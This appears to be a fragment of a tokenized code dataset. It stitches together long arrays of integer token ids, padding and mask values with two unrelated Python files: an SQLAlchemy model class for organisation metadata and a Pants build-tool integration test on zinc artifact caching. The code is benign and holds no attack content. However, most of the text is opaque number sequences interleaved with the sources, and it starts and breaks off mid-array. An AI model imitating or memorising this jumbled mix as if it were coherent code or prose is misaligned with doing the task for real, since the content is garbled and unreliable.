1006, 63, 4421, 63, 2355, 63, 3642, 435, 1006, 63, 7253, 63, 2355, 63, 3642, 199, 199, 452, 63, 8629, 3883, 23706, 26, 3820, 59, 9874, 61, 275, 359, 8629, 3883, 23706, 61, 199, 452, 63, 15327, 3883, 23706, 26, 3820, 59, 9874, 61, 275, 359, 26756, 3883, 23706, 61, 199, 452, 63, 3883, 23706, 275, 663, 8, 452, 63, 8629, 3883, 23706, 435, 2574, 1006, 63, 15327, 3883, 23706, 9, 421, 199, 3, 4155, 2005, 2196, 666, 543, 14818, 590, 16180, 2222, 4697, 4811, 543, 199, 3, 17131, 1854, 1338, 199, 318, 1852, 63, 4421, 63, 2355, 63, 576, 8, 78, 63, 3356, 12, 302, 63, 3179, 12, 302, 63, 2865, 4250, 304, 272, 9038, 275, 980, 14, 2355, 14, 15726, 8, 16, 9, 272, 666, 63, 22684, 275, 2249, 14, 22684, 63, 3642, 8, 267, 334, 12686, 14, 10843, 8, 78, 63, 2865, 4250, 395, 268, 334, 12686, 14, 8393, 8, 78, 63, 3356, 12, 1568, 29, 78, 63, 2865, 4250, 395, 881, 9038, 14, 8393, 8, 78, 63, 3179, 12, 1568, 29, 78, 63, 2865, 4250, 11508, 267, 2215, 2687, 78, 63, 3356, 12, 302, 63, 3179, 430, 272, 372, 666, 63, 22684, 14, 18993, 1062, 666, 63, 22684, 14, 475, 10101, 342, 421, 199, 318, 5376, 338, 1399, 8, 3642, 304, 272, 340, 440, 2249, 14, 30962, 8, 3642, 304, 267, 372, 3634, 272, 587, 26, 267, 372, 3634, 14, 18993, 342, 421, 199, 78, 63, 3356, 12, 302, 63, 3179, 275, 334, 709, 12, 5198, 9, 199, 78, 63, 2865, 4250, 275, 1109, 8, 78, 63, 3356, 627, 302, 63, 3179, 1182, 2948, 4959, 199, 576, 12, 666, 63, 10101, 275, 1852, 63, 4421, 63, 2355, 63, 576, 8, 78, 63, 3356, 12, 302, 63, 3179, 12, 302, 63, 2865, 4250, 9, 421, 199, 11490, 199, 3, 511, 641, 1603, 44, 1026, 77, 391, 199, 11490, 199, 318, 511, 63, 3197, 63, 74, 76, 63, 2261, 837, 272, 702, 63, 3536, 8, 3393, 12, 5225, 25338, 265, 63, 472, 848, 14183, 27678, 63, 827, 63, 3572, 12, 2948, 12, 10245, 29, 17, 14, 17, 9, 272, 702, 63, 3536, 8, 3393, 12, 5225, 25338, 265, 63, 472, 848, 14183, 27678, 63, 827, 63, 3572, 12, 2948, 12, 10245, 29, 16, 14, 16, 9, 272, 702, 63, 3536, 8, 3393, 12, 5225, 25338, 265, 63, 472, 848, 14183, 27678, 63, 827, 63, 3572, 12, 2948, 12, 10245, 4022, 16, 14, 17, 9, 272, 702, 63, 3536, 8, 3393, 12, 5225, 25338, 265, 63, 472, 848, 14183, 27678, 63, 827, 63, 3572, 12, 378, 12, 10245, 29, 16, 14, 21, 9, 421, 199, 318, 511, 63, 1210, 63, 890, 63, 74, 76, 63, 827, 63, 3572, 837, 272, 702, 63, 3536, 8, 3393, 12, 5225, 25338, 265, 63, 472, 848, 14183, 27678, 63, 827, 63, 3572, 12, 2116, 650, 627, 359, 1960, 467, 10245, 29, 18, 627, 359, 16, 14, 25, 566, 339, 702, 63, 3536, 8, 3393, 12, 5225, 25338, 265, 63, 472, 848, 14183, 27678, 63, 827, 63, 3572, 12, 650, 627, 359, 1960, 467, 2116, 10245, 29, 18, 627, 359, 16, 14, 25, 566, 339, 5225, 25338, 265, 63, 472, 848, 14183, 27678, 63, 827, 63, 3572, 8, 1590, 14, 2355, 14, 8393, 8, 17, 12, 1616, 12, 1568, 2687, 709, 12, 1616, 1826, 3303, 10245, 29, 1590, 14, 2861, 1332, 709, 12, 1616, 395, 378, 14, 21, 430, 421, 199, 11490, 199, 3, 2295, 2196, 3634, 10152, 199, 11490, 199, 318, 1104, 63, 1210, 63, 890, 63, 2355, 63, 3642, 8, 2355, 63, 3642, 304, 272, 702, 63, 3536, 8, 3393, 12, 2196, 63, 3642, 12, 378, 12, 378, 9, 272, 702, 63, 3536, 8, 3393, 12, 2196, 63, 3642, 12, 446, 17, 12, 413, 9, 272, 702, 63, 3536, 8, 3393, 12, 2196, 63, 3642, 12, 413, 12, 446, 17, 9, 272, 702, 63, 3536, 8, 3393, 12, 2196, 63, 3642, 12, 413, 12, 378, 9, 272, 702, 63, 3536, 8, 3393, 12, 2196, 63, 3642, 12, 446, 17, 12, 378, 9, 421, 199, 318, 1104, 63, 890, 63, 10176, 8, 2355, 63, 3642, 304, 272, 702, 2196, 63, 3642, 8, 17, 12, 959, 680, 1392, 508, 334, 17, 12, 959, 9, 272, 702, 2196, 63, 3642, 8, 21, 12, 413, 680, 1392, 508, 334, 21, 12, 413, 9, 272, 702, 2196, 63, 3642, 8, 21, 12, 959, 680, 1392, 508, 334, 21, 12, 959, 9, 272, 702, 2196, 63, 3642, 8, 17, 12, 413, 680, 1392, 508, 334, 17, 12, 413, 9, 421, 199, 318, 1104, 63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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
USStateDept/FPA_Core
openspending/model/metadataorg.py
2
5152
from datetime import datetime from sqlalchemy.orm import reconstructor, relationship, backref from sqlalchemy.schema import Column, ForeignKey from sqlalchemy.types import Integer, Unicode, Boolean, DateTime from sqlalchemy import BigInteger from sqlalchemy.sql.expression import false, or_ from sqlalchemy.ext.associationproxy import association_proxy from openspending.core import db class MetadataOrg(db.Model): """ The dataset is the core entity of any access to data. All requests to the actual data store are routed through it, as well as data loading and model generation. The dataset keeps an in-memory representation of the data model (including all dimensions and measures) which can be used to generate necessary queries. """ __tablename__ = 'metadataorg' id = Column(Integer, primary_key=True) label = Column(Unicode(2000)) description = Column(Unicode()) contactName = Column(Unicode(2000)) contactEmail = Column(Unicode(2000)) accessLevel = Column(Unicode(2000)) bureauCode = Column(Unicode(2000)) lastUpdated = Column(DateTime, onupdate=datetime.utcnow) #terms tags to be added #ref to tags table def __init__(self, metadata = None): if not metadata: return self.label = metadata.get('label') self.description = metadata.get('description') self.contactName = metadata.get('contactName') self.contactEmail = metadata.get('contactEmail') self.accessLevel = metadata.get('accessLevel') self.bureauCode = metadata.get('bureauCode') def touch(self): """ Update the dataset timestamp. This is used for cache invalidation. """ self.lastUpdated = datetime.utcnow() db.session.add(self) def __repr__(self): return "<MetadataOrg(%r,%r)>" % (self.id, self.label) def update(self, metadata): self.label = metadata.get('label') self.description = metadata.get('description') self.contactName = metadata.get('contactName') self.contactEmail = metadata.get('contactEmail') self.accessLevel = metadata.get('accessLevel') self.bureauCode = metadata.get('bureauCode') self.lastUpdated = datetime.utcnow() def as_dict(self): return { 'label': self.label, 'description': self.description, 'contactName' : self.contactName, 'contactEmail' : self.contactEmail, 'accessLevel' : self.accessLevel, 'bureauCode' : self.bureauCode, 'lastUpdated' : self.lastUpdated } def to_json_dump(self): """ Returns a JSON representation of an SQLAlchemy-backed object. """ json = {} json['fields'] = {} json['pk'] = getattr(self, 'id') json['model'] = "MetadataOrg" fields = ['label','description','contactName','contactEmail','accessLevel','bureauCode'] for field in fields: json['fields'][field] = getattr(self, field) return json @property def dataset_count(self): return len(self.datasets) @classmethod def import_json_dump(cls, theobj): fields = ['label','description','contactName','contactEmail','accessLevel','bureauCode'] classobj = cls() for field in fields: setattr(classobj, field, theobj['fields'][field]) db.session.add(classobj) db.session.commit() return classobj.id #return the id @classmethod def get_all_admin(cls, order=True): """ Query available datasets based on dataset visibility. """ q = db.session.query(cls) if order: q = q.order_by(cls.label.asc()) return q @classmethod def all(cls, order=True): """ Query available datasets based on dataset visibility. """ q = db.session.query(cls) if order: q = q.order_by(cls.label.asc()) return q @classmethod def by_name(cls, label): return db.session.query(cls).filter_by(label=label).first() @classmethod def by_id(cls, id): return db.session.query(cls).filter_by(id=id).first() #TODO # class MetadataOrgSettings(colander.MappingSchema): # fullname = colander.SchemaNode(colander.String()) # email = colander.SchemaNode(colander.String(), # validator=colander.Email()) # public_email = colander.SchemaNode(colander.Boolean(), missing=False) # twitter = colander.SchemaNode(colander.String(), missing=None, # validator=colander.Length(max=140)) # public_twitter = colander.SchemaNode(colander.Boolean(), missing=False) # password1 = colander.SchemaNode(colander.String(), # missing=None, default=None) # password2 = colander.SchemaNode(colander.String(), # missing=None, default=None) # script_root = colander.SchemaNode(colander.String(), # missing=None, default=None)
agpl-3.0
[ 504, 2197, 492, 2197, 199, 504, 8335, 14, 1025, 492, 295, 1880, 12, 8931, 12, 23412, 199, 504, 8335, 14, 3629, 492, 4996, 12, 12718, 199, 504, 8335, 14, 1313, 492, 7225, 12, 6140, 12, 9411, 12, 13686, 199, 504, 8335, 492, 13123, 2674, 199, 504, 8335, 14, 3009, 14, 5599, 492, 3055, 12, 503, 63, 199, 504, 8335, 14, 832, 14, 20252, 3280, 492, 20640, 63, 3280, 199, 199, 504, 1551, 681, 3219, 14, 1018, 492, 1592, 6905, 199, 533, 16160, 11014, 8, 697, 14, 1685, 304, 339, 408, 710, 4789, 365, 314, 6170, 4642, 402, 1263, 2879, 370, 666, 14, 2900, 272, 4145, 370, 314, 3503, 666, 3877, 787, 882, 4241, 4012, 652, 12, 465, 5521, 272, 465, 666, 8697, 436, 1402, 10152, 14, 339, 710, 4789, 18578, 376, 315, 13, 4844, 6025, 402, 314, 666, 1402, 272, 334, 15768, 1006, 7365, 436, 17616, 1482, 9, 1314, 883, 506, 1202, 370, 272, 3550, 5784, 9212, 14, 272, 408, 272, 636, 10983, 363, 275, 283, 2343, 1308, 7, 339, 1305, 275, 4996, 8, 2674, 12, 5062, 63, 498, 29, 549, 9, 272, 1768, 275, 4996, 8, 7087, 8, 8269, 430, 272, 1369, 275, 4996, 8, 7087, 1012, 272, 8966, 985, 275, 4996, 8, 7087, 8, 8269, 430, 272, 8966, 7035, 275, 4996, 8, 7087, 8, 8269, 430, 339, 2879, 4670, 221, 275, 4996, 8, 7087, 8, 8269, 430, 339, 330, 608, 3844, 3034, 275, 4996, 8, 7087, 8, 8269, 430, 339, 2061, 19920, 275, 221, 4996, 8, 3926, 12, 641, 873, 29, 2083, 14, 10779, 9, 339, 327, 9187, 3762, 370, 506, 3483, 272, 327, 1121, 370, 3762, 1817, 16478, 347, 636, 826, 721, 277, 12, 3341, 275, 488, 304, 267, 340, 440, 3341, 26, 288, 372, 267, 291, 14, 1302, 275, 3341, 14, 362, 360, 1302, 358, 267, 291, 14, 1802, 275, 3341, 14, 362, 360, 1802, 358, 267, 291, 14, 7811, 985, 275, 3341, 14, 362, 360, 7811, 985, 358, 267, 291, 14, 7811, 7035, 275, 3341, 14, 362, 360, 7811, 7035, 358, 267, 291, 14, 2732, 4670, 275, 3341, 14, 362, 360, 2732, 4670, 358, 267, 291, 14, 464, 264, 3844, 3034, 275, 3341, 14, 362, 360, 464, 264, 3844, 3034, 358, 268, 2378, 347, 12943, 8, 277, 304, 267, 408, 6162, 314, 4789, 4913, 14, 961, 365, 1202, 367, 2581, 267, 3866, 425, 14, 408, 267, 291, 14, 2019, 19920, 275, 2197, 14, 10779, 342, 267, 1592, 14, 1730, 14, 525, 8, 277, 9, 16478, 347, 636, 2722, 721, 277, 304, 267, 372, 3886, 5142, 11014, 4042, 82, 8719, 82, 9, 4335, 450, 334, 277, 14, 344, 12, 291, 14, 1302, 9, 339, 347, 1678, 8, 277, 12, 3341, 304, 267, 291, 14, 1302, 275, 3341, 14, 362, 360, 1302, 358, 267, 291, 14, 1802, 275, 3341, 14, 362, 360, 1802, 358, 267, 291, 14, 7811, 985, 275, 3341, 14, 362, 360, 7811, 985, 358, 267, 291, 14, 7811, 7035, 275, 3341, 14, 362, 360, 7811, 7035, 358, 267, 291, 14, 2732, 4670, 275, 3341, 14, 362, 360, 2732, 4670, 358, 267, 291, 14, 464, 264, 3844, 3034, 275, 3341, 14, 362, 360, 464, 264, 3844, 3034, 358, 267, 291, 14, 2019, 19920, 275, 2197, 14, 10779, 342, 339, 347, 465, 63, 807, 8, 277, 304, 267, 372, 469, 288, 283, 1302, 356, 291, 14, 1302, 12, 288, 283, 1802, 356, 291, 14, 1802, 12, 288, 283, 7811, 985, 7, 520, 291, 14, 7811, 985, 12, 288, 283, 7811, 7035, 7, 520, 291, 14, 7811, 7035, 12, 288, 283, 2732, 4670, 7, 520, 291, 14, 2732, 4670, 12, 288, 283, 464, 264, 3844, 3034, 7, 520, 291, 14, 464, 264, 3844, 3034, 12, 288, 283, 2019, 19920, 7, 520, 291, 14, 2019, 19920, 267, 789, 339, 347, 370, 63, 1001, 63, 2724, 8, 277, 304, 267, 408, 1803, 282, 4840, 6025, 402, 376, 14303, 13, 894, 379, 909, 14, 267, 408, 398, 2022, 275, 1052, 267, 2022, 459, 955, 418, 275, 1052, 267, 2022, 459, 2051, 418, 275, 2519, 8, 277, 12, 283, 344, 358, 267, 2022, 459, 1238, 418, 275, 298, 5142, 11014, 2, 398, 1504, 275, 788, 1302, 1673, 1802, 1673, 7811, 985, 1673, 7811, 7035, 1673, 2732, 4670, 1673, 464, 264, 3844, 3034, 418, 398, 367, 901, 315, 1504, 26, 288, 2022, 459, 955, 3488, 698, 61, 275, 2519, 8, 277, 12, 901, 9, 2541, 267, 372, 2022, 339, 768, 1829, 5591, 347, 4789, 63, 835, 8, 277, 304, 267, 372, 822, 8, 277, 14, 12281, 9, 339, 768, 3744, 272, 347, 492, 63, 1001, 63, 2724, 8, 1886, 12, 314, 1113, 304, 267, 1504, 275, 788, 1302, 1673, 1802, 1673, 7811, 985, 1673, 7811, 7035, 1673, 2732, 4670, 1673, 464, 264, 3844, 3034, 418, 267, 1021, 1113, 275, 843, 342, 267, 367, 901, 315, 1504, 26, 288, 5371, 8, 533, 1113, 12, 901, 12, 314, 1113, 459, 955, 3488, 698, 566, 398, 1592, 14, 1730, 14, 525, 8, 533, 1113, 9, 267, 1592, 14, 1730, 14, 3543, 342, 267, 372, 1021, 1113, 14, 344, 7318, 327, 1107, 314, 1305, 2378, 768, 3744, 272, 347, 664, 63, 452, 63, 2113, 8, 1886, 12, 1865, 29, 549, 304, 267, 408, 8133, 2808, 13148, 4079, 641, 4789, 6887, 14, 408, 267, 1894, 275, 1592, 14, 1730, 14, 1131, 8, 1886, 9, 267, 340, 1865, 26, 288, 1894, 275, 1894, 14, 1648, 63, 991, 8, 1886, 14, 1302, 14, 10125, 1012, 267, 372, 1894, 2378, 768, 3744, 272, 347, 1006, 8, 1886, 12, 1865, 29, 549, 304, 267, 408, 8133, 2808, 13148, 4079, 641, 4789, 6887, 14, 408, 267, 1894, 275, 1592, 14, 1730, 14, 1131, 8, 1886, 9, 267, 340, 1865, 26, 288, 1894, 275, 1894, 14, 1648, 63, 991, 8, 1886, 14, 1302, 14, 10125, 1012, 267, 372, 1894, 339, 768, 3744, 272, 347, 701, 63, 354, 8, 1886, 12, 1768, 304, 267, 372, 1592, 14, 1730, 14, 1131, 8, 1886, 680, 1541, 63, 991, 8, 1302, 29, 1302, 680, 2246, 342, 339, 768, 3744, 272, 347, 701, 63, 344, 8, 1886, 12, 1305, 304, 267, 372, 1592, 14, 1730, 14, 1131, 8, 1886, 680, 1541, 63, 991, 8, 344, 29, 344, 680, 2246, 342, 421, 199 ]
[ 2197, 492, 2197, 199, 504, 8335, 14, 1025, 492, 295, 1880, 12, 8931, 12, 23412, 199, 504, 8335, 14, 3629, 492, 4996, 12, 12718, 199, 504, 8335, 14, 1313, 492, 7225, 12, 6140, 12, 9411, 12, 13686, 199, 504, 8335, 492, 13123, 2674, 199, 504, 8335, 14, 3009, 14, 5599, 492, 3055, 12, 503, 63, 199, 504, 8335, 14, 832, 14, 20252, 3280, 492, 20640, 63, 3280, 199, 199, 504, 1551, 681, 3219, 14, 1018, 492, 1592, 6905, 199, 533, 16160, 11014, 8, 697, 14, 1685, 304, 339, 408, 710, 4789, 365, 314, 6170, 4642, 402, 1263, 2879, 370, 666, 14, 2900, 272, 4145, 370, 314, 3503, 666, 3877, 787, 882, 4241, 4012, 652, 12, 465, 5521, 272, 465, 666, 8697, 436, 1402, 10152, 14, 339, 710, 4789, 18578, 376, 315, 13, 4844, 6025, 402, 314, 666, 1402, 272, 334, 15768, 1006, 7365, 436, 17616, 1482, 9, 1314, 883, 506, 1202, 370, 272, 3550, 5784, 9212, 14, 272, 408, 272, 636, 10983, 363, 275, 283, 2343, 1308, 7, 339, 1305, 275, 4996, 8, 2674, 12, 5062, 63, 498, 29, 549, 9, 272, 1768, 275, 4996, 8, 7087, 8, 8269, 430, 272, 1369, 275, 4996, 8, 7087, 1012, 272, 8966, 985, 275, 4996, 8, 7087, 8, 8269, 430, 272, 8966, 7035, 275, 4996, 8, 7087, 8, 8269, 430, 339, 2879, 4670, 221, 275, 4996, 8, 7087, 8, 8269, 430, 339, 330, 608, 3844, 3034, 275, 4996, 8, 7087, 8, 8269, 430, 339, 2061, 19920, 275, 221, 4996, 8, 3926, 12, 641, 873, 29, 2083, 14, 10779, 9, 339, 327, 9187, 3762, 370, 506, 3483, 272, 327, 1121, 370, 3762, 1817, 16478, 347, 636, 826, 721, 277, 12, 3341, 275, 488, 304, 267, 340, 440, 3341, 26, 288, 372, 267, 291, 14, 1302, 275, 3341, 14, 362, 360, 1302, 358, 267, 291, 14, 1802, 275, 3341, 14, 362, 360, 1802, 358, 267, 291, 14, 7811, 985, 275, 3341, 14, 362, 360, 7811, 985, 358, 267, 291, 14, 7811, 7035, 275, 3341, 14, 362, 360, 7811, 7035, 358, 267, 291, 14, 2732, 4670, 275, 3341, 14, 362, 360, 2732, 4670, 358, 267, 291, 14, 464, 264, 3844, 3034, 275, 3341, 14, 362, 360, 464, 264, 3844, 3034, 358, 268, 2378, 347, 12943, 8, 277, 304, 267, 408, 6162, 314, 4789, 4913, 14, 961, 365, 1202, 367, 2581, 267, 3866, 425, 14, 408, 267, 291, 14, 2019, 19920, 275, 2197, 14, 10779, 342, 267, 1592, 14, 1730, 14, 525, 8, 277, 9, 16478, 347, 636, 2722, 721, 277, 304, 267, 372, 3886, 5142, 11014, 4042, 82, 8719, 82, 9, 4335, 450, 334, 277, 14, 344, 12, 291, 14, 1302, 9, 339, 347, 1678, 8, 277, 12, 3341, 304, 267, 291, 14, 1302, 275, 3341, 14, 362, 360, 1302, 358, 267, 291, 14, 1802, 275, 3341, 14, 362, 360, 1802, 358, 267, 291, 14, 7811, 985, 275, 3341, 14, 362, 360, 7811, 985, 358, 267, 291, 14, 7811, 7035, 275, 3341, 14, 362, 360, 7811, 7035, 358, 267, 291, 14, 2732, 4670, 275, 3341, 14, 362, 360, 2732, 4670, 358, 267, 291, 14, 464, 264, 3844, 3034, 275, 3341, 14, 362, 360, 464, 264, 3844, 3034, 358, 267, 291, 14, 2019, 19920, 275, 2197, 14, 10779, 342, 339, 347, 465, 63, 807, 8, 277, 304, 267, 372, 469, 288, 283, 1302, 356, 291, 14, 1302, 12, 288, 283, 1802, 356, 291, 14, 1802, 12, 288, 283, 7811, 985, 7, 520, 291, 14, 7811, 985, 12, 288, 283, 7811, 7035, 7, 520, 291, 14, 7811, 7035, 12, 288, 283, 2732, 4670, 7, 520, 291, 14, 2732, 4670, 12, 288, 283, 464, 264, 3844, 3034, 7, 520, 291, 14, 464, 264, 3844, 3034, 12, 288, 283, 2019, 19920, 7, 520, 291, 14, 2019, 19920, 267, 789, 339, 347, 370, 63, 1001, 63, 2724, 8, 277, 304, 267, 408, 1803, 282, 4840, 6025, 402, 376, 14303, 13, 894, 379, 909, 14, 267, 408, 398, 2022, 275, 1052, 267, 2022, 459, 955, 418, 275, 1052, 267, 2022, 459, 2051, 418, 275, 2519, 8, 277, 12, 283, 344, 358, 267, 2022, 459, 1238, 418, 275, 298, 5142, 11014, 2, 398, 1504, 275, 788, 1302, 1673, 1802, 1673, 7811, 985, 1673, 7811, 7035, 1673, 2732, 4670, 1673, 464, 264, 3844, 3034, 418, 398, 367, 901, 315, 1504, 26, 288, 2022, 459, 955, 3488, 698, 61, 275, 2519, 8, 277, 12, 901, 9, 2541, 267, 372, 2022, 339, 768, 1829, 5591, 347, 4789, 63, 835, 8, 277, 304, 267, 372, 822, 8, 277, 14, 12281, 9, 339, 768, 3744, 272, 347, 492, 63, 1001, 63, 2724, 8, 1886, 12, 314, 1113, 304, 267, 1504, 275, 788, 1302, 1673, 1802, 1673, 7811, 985, 1673, 7811, 7035, 1673, 2732, 4670, 1673, 464, 264, 3844, 3034, 418, 267, 1021, 1113, 275, 843, 342, 267, 367, 901, 315, 1504, 26, 288, 5371, 8, 533, 1113, 12, 901, 12, 314, 1113, 459, 955, 3488, 698, 566, 398, 1592, 14, 1730, 14, 525, 8, 533, 1113, 9, 267, 1592, 14, 1730, 14, 3543, 342, 267, 372, 1021, 1113, 14, 344, 7318, 327, 1107, 314, 1305, 2378, 768, 3744, 272, 347, 664, 63, 452, 63, 2113, 8, 1886, 12, 1865, 29, 549, 304, 267, 408, 8133, 2808, 13148, 4079, 641, 4789, 6887, 14, 408, 267, 1894, 275, 1592, 14, 1730, 14, 1131, 8, 1886, 9, 267, 340, 1865, 26, 288, 1894, 275, 1894, 14, 1648, 63, 991, 8, 1886, 14, 1302, 14, 10125, 1012, 267, 372, 1894, 2378, 768, 3744, 272, 347, 1006, 8, 1886, 12, 1865, 29, 549, 304, 267, 408, 8133, 2808, 13148, 4079, 641, 4789, 6887, 14, 408, 267, 1894, 275, 1592, 14, 1730, 14, 1131, 8, 1886, 9, 267, 340, 1865, 26, 288, 1894, 275, 1894, 14, 1648, 63, 991, 8, 1886, 14, 1302, 14, 10125, 1012, 267, 372, 1894, 339, 768, 3744, 272, 347, 701, 63, 354, 8, 1886, 12, 1768, 304, 267, 372, 1592, 14, 1730, 14, 1131, 8, 1886, 680, 1541, 63, 991, 8, 1302, 29, 1302, 680, 2246, 342, 339, 768, 3744, 272, 347, 701, 63, 344, 8, 1886, 12, 1305, 304, 267, 372, 1592, 14, 1730, 14, 1131, 8, 1886, 680, 1541, 63, 991, 8, 344, 29, 344, 680, 2246, 342, 421, 199, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
mateor/pants
tests/python/pants_test/tasks/test_bootstrap_jvm_tools_integration.py
20
1582
# coding=utf-8 # Copyright 2015 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). from __future__ import (absolute_import, division, generators, nested_scopes, print_function, unicode_literals, with_statement) from pants.util.contextutil import temporary_dir from pants_test.pants_run_integration_test import PantsRunIntegrationTest class BootstrapJvmToolsIntegrationTest(PantsRunIntegrationTest): def test_zinc_tool_reuse_between_scala_and_java(self): with temporary_dir() as artifact_cache: bootstrap_args = [ 'bootstrap.bootstrap-jvm-tools', "--cache-write-to=['{}']".format(artifact_cache), "--cache-read-from=['{}']".format(artifact_cache) ] # Scala compilation should bootstrap and shade zinc. args = bootstrap_args + ['compile', 'examples/src/scala/org/pantsbuild/example/hello'] pants_run = self.run_pants(args) self.assert_success(pants_run) self.assertTrue('[shade-zinc]' in pants_run.stdout_data) # The shaded zinc artifact should be cached, so zinc-based Java compilation # should reuse it instead of bootstrapping and shading again, even after clean-all. pants_run = self.run_pants(bootstrap_args + ['clean-all', 'compile', 'examples/src/java/org/pantsbuild/example/hello/simple']) self.assert_success(pants_run) self.assertFalse('[shade-zinc]' in pants_run.stdout_data)
apache-2.0
[ 3, 2803, 29, 1624, 13, 24, 199, 3, 1898, 6900, 510, 2285, 2199, 8417, 334, 3239, 6483, 14, 1064, 680, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 3239, 5113, 680, 199, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 16952, 12, 6032, 63, 14129, 12, 870, 63, 1593, 12, 717, 2649, 63, 5955, 12, 543, 63, 6242, 9, 199, 199, 504, 18081, 14, 1974, 14, 1100, 1974, 492, 7937, 63, 694, 199, 504, 18081, 63, 396, 14, 21970, 63, 1065, 63, 15092, 63, 396, 492, 510, 2285, 2540, 20405, 774, 421, 199, 533, 27324, 7868, 42, 2611, 11654, 20405, 774, 8, 27565, 2540, 20405, 774, 304, 819, 347, 511, 63, 90, 6559, 63, 3557, 63, 15712, 63, 13007, 63, 28708, 63, 460, 63, 6138, 8, 277, 304, 272, 543, 7937, 63, 694, 342, 465, 18115, 63, 1637, 26, 489, 15865, 63, 589, 275, 359, 267, 283, 11146, 14, 11146, 13, 15813, 13, 2537, 297, 267, 4320, 1637, 13, 952, 13, 475, 2968, 2440, 418, 1674, 908, 8, 16154, 63, 1637, 395, 267, 4320, 1637, 13, 739, 13, 504, 2968, 2440, 418, 1674, 908, 8, 16154, 63, 1637, 9, 489, 1622, 2541, 327, 17619, 65, 18653, 1077, 15865, 436, 32250, 1315, 6559, 14, 489, 1249, 275, 15865, 63, 589, 435, 788, 2014, 297, 283, 8589, 15, 2164, 15, 28708, 15, 1308, 15, 21970, 1506, 15, 2694, 15, 5006, 418, 489, 18081, 63, 1065, 275, 291, 14, 1065, 63, 21970, 8, 589, 9, 489, 291, 14, 479, 63, 3742, 8, 21970, 63, 1065, 9, 489, 291, 14, 1815, 11894, 31170, 13, 90, 6559, 6616, 315, 18081, 63, 1065, 14, 2703, 63, 576, 9, 2541, 327, 710, 1033, 3074, 1315, 6559, 18115, 1077, 506, 6328, 12, 880, 1315, 6559, 13, 6788, 9586, 18653, 489, 327, 1077, 12598, 652, 3140, 402, 8498, 14183, 3637, 436, 1033, 5384, 4020, 12, 2755, 2410, 3633, 13, 452, 14, 489, 18081, 63, 1065, 275, 291, 14, 1065, 63, 21970, 8, 11146, 63, 589, 435, 639, 788, 3118, 13, 452, 297, 3303, 283, 2014, 297, 3303, 283, 8589, 15, 2164, 15, 6138, 15, 1308, 15, 21970, 1506, 15, 2694, 15, 5006, 15, 4129, 1105, 489, 291, 14, 479, 63, 3742, 8, 21970, 63, 1065, 9, 489, 291, 14, 3334, 11894, 31170, 13, 90, 6559, 6616, 315, 18081, 63, 1065, 14, 2703, 63, 576, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 